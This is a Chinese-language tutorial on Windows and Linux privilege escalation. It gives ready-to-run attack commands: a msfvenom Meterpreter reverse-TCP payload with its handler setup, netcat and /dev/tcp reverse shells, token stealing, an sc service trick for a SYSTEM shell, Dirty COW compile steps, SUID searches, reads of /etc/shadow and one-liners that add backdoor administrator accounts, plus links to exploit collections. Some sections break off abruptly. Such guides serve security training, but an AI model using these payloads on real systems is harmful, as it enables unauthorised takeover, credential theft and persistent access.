Windows權限提升
常見提權方法
1、溢出漏洞提權
2、資料庫提權
3、第三方軟體提權
Cmd指令無法執行原因分析
1、Cmd指令無法執行分析
主要原因是cmd.exe被管理者降級或删除,也有可能元件被删除。
2、Cmd指令執行解決方法
通過腳本木馬查找可讀可寫目錄,上傳cmd,調用cmd路徑執行指令(找可讀可寫目錄不要選帶空格目錄)。
菜刀設定終端路徑:setp c:\test\cmd.exe
提權常用指令講解
whoami ——檢視使用者權限
systeminfo ——檢視作業系統,更新檔情況
ipconfig——檢視目前伺服器IPipconfig /all
net user——檢視目前使用者情況
netstat ——檢視目前網絡連接配接情況netstat –ano /netstat –an | find “ESTABLISHED”
tasklist——檢視目前程序情況 tasklist /svc
taskkill——結束程序taskkill -PID xx
net start ——啟動服
net stop ——停止服務
net user best 123456 /add 添加使用者名為best,密碼為123456
net localgroup administrators best /add 将使用者名為best的使用者添加到管理者組
net user best /del 删除best使用者
已對外公開exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
對于高版本提權的介紹(7、8、08、12、16)
一、UAC介紹
UAC(User Account Control)是微軟在 Windows Vista 以後版本引入的一種安全機制,通過 UAC,應用程式和任務可始終在非管理者帳戶的安全上下文中運作,除非管理者特别授予管理者級别的系統通路權限。
目前獲得的權限是存在于管理者組的時候但是并且是administrator這個使用者,此時就可能需要我們進行繞過UAC的操作,否則雖然是管理者組但是實際上并沒有管理者所對應的高權限操作,這個時候就需要bypass uac
提權前奏
條件:kali環境下運作
木馬生成:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.60.109 LPORT=4444 -f exe -o payload.exe
配置木馬檔案
本地監聽:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.60.109 //
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
操作步驟
1、kali系統配置木馬檔案,最後生成木馬檔案
2、在被菜刀控制的主機上上傳木馬檔案然後運作
3、監聽的這邊就會顯示已連接配接
sc指令提權(administrator–>system)
ps:經測試03也可以。
關于sc指令:
SC 是用于與服務控制管理器和服務進行通信的指令行程式。提供的功能類似于“控制台”中“管理工具”項中的“服務”。
sc Create syscmd binPath= “cmd /K start” type= own type= interact
這個指令的意思是建立一個名叫syscmd的新的互動式的cmd服務
然後執行
sc start syscmd,就得到了一個system權限的cmd環境
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyZuBnL5QDOxEjM2IDOwAjMwIzLc12bj5ycj5Wd5lGbh5yZulmapVmYt42YtM3cv5Cd3x2Lc9CX6MHc0RHaiojIsJye.png)
不帶引号的服務路徑
當系統管理者配置Windows服務時,他們必須指定要執行的指令,或者運作可執行檔案的路徑。
當Windows服務運作時,會發生以下兩種情況之一。如果給出了可執行檔案,并且引用了完整路徑,則系統會按字面解釋它并執行。但是,如果服務的二進制路徑未包含在引号中,則作業系統将會執行找到的空格分隔的服務路徑的第一個執行個體。
這可能有點不直覺,是以讓我們來看一個實際的例子。假設服務配置類似于以下存在bug的示例服務:
=======================================
指令ps,可以看到對方程序目錄,可以看到程序的令牌
執行以下語句竊取該使用者程序的令牌:
steal_token 2584
會話狀态下的權限提升
Meterpreter會話,接着我們在Meterpreter會話輸入以下指令:
background //把你目前的Meterpreter會話轉為背景執行。
接着我們在MSF指令行執行以下指令搜尋微軟2015年的可用漏洞子產品
Linux權限提升
linux發行版本
是我們常說的Linux作業系統,也即是由Linux核心與各種常用軟體的集合産品,全球大約有數百款的Linux系統版本,每個系統版本都有自己的特性和目标人群, 例如:
· CentOS
· redhat
· ubuntu
· kali
linux核心版本的分類
Linux核心版本有兩種:穩定版和開發版 ,Linux核心版本号由3組數字組成:第一個組數字.第二組數字.第三組數字
第一個組數字:目前釋出的核心主版本。
第二個組數字:偶數表示穩定版本;奇數表示開發中版本。
第三個組數字:錯誤修補的次數。
linux核心
Linux系統核心指的是一個由Linus Torvalds負責維護,提供硬體抽象層、硬碟及檔案系統控制及多任務功能的系統核心程式。
檢視發行版本
cat /etc/issue
cat /etc/*-release
核心漏洞提權
檢視核心版本
uname -a
在完成以上操作後,我們就知道了Linux的核心版本
就可以用kali自帶的searchsploit來搜尋exploitdb中的漏洞利用代碼
searchsploit linux Debian 5
反彈shell
如果手裡隻有webshell可以利用反彈shell來得到一個shell
nc -lvvp 8080 -t -e /bin/bash
之後在實體機利用nc軟體輸入一下指令來反控制虛拟機
以上是第一種方法,以下是另一種方法
bash -i >& /dev/tcp/192.168.60.7/9999 0>&1 //中間的IP位址為自己的公網IP
然後在本地實體機監聽
bash提權
針對kali4.9.0以下的版本,以上版本沒有這個漏洞
xshell控制Linux後,進入vim配置端口8080,然後運作Linux上的Apache網站,
kali啟動Apache網站的路徑:
在終端輸入“vim/etc/apacge2/ports.conf”(會進入vim),隻收輸入i進入編輯模式;進去後修改Apache2的預設監聽端口為8080->編輯好好儲存退出,
啟動方式:在終端輸入“/etc/init.d/apache2 start”
通路方式:在浏覽器輸入:kaliIP位址:8080/index.html
搭建好後上傳木馬檔案(hao.php)到該網站。傳到網站目錄
然後通路該木馬檔案:找到下方位置
之後點選反彈連接配接,然後到nc界面回車一下,就可以實作控制
髒牛提權漏洞複現
POC檔案:https://github.com/FireFart/dirtycow
準備好poc檔案後,在低核心版本上建立普通使用者。
建立賬号的方法:
useradd test/passwd test
使用su切換賬号
su 賬戶名
配置以上後上傳髒牛檔案到伺服器
上傳完成後借用gcc編譯髒牛檔案,指令如下:
gcc -pthread dirty.c -o dirty -lcrypt
SUID提權
概念
SUID(設定使用者ID)是賦予檔案的一種權限,它會出現在檔案擁有者權限的執行位上,具有這種權限的檔案會在其執行時,使調用者暫時獲得該檔案擁有者的權限。那麼,為什麼要給Linux二進制檔案設定這種權限呢?其實原因有很多,例如,程式ping需要root權限才能打開網絡套接字,但執行該程式的使用者通常都是由普通使用者,來驗證與其他主機的連通性
SUID提權:
那麼什麼是suid提權呢?我了解的就是有個檔案,它有s标志,并且他輸入root,那麼我們運作這個程式就可以有了root的權限,并且這個程式還得能執行指令,不然沒什麼用處,那麼我們就能從普通使用者提升到了root權限了。
首先在本地查找符合條件的檔案,有以下三個指令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
已對外公開 exp 注
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/
https://github.com/xairy/kernel-exploits
Linux常用指令解析
uname -a 列印所有可用的系統資訊
cat /etc/passwd 列出系統上的所有使用者
cat /etc/shadow 列出系統上的所有使用者密碼
whoami 檢視目前使用者
w 誰目前已登入,他們正在做什麼
last 最後登入使用者的清單
lastlog 所有使用者上次登入的資訊
linux 一句話添加賬号
(1)chpasswd 方法
useradd guest;echo ‘guest:123456’|chpasswd
(2)useradd -p 方法
useradd -p
openssl passwd 123456
guest
(3)echo -e 方法
useradd test;echo -e “123456n123456n” |passwd test
Linux運維最常用的150個指令https://www.jianshu.com/p/979d8f5e5e65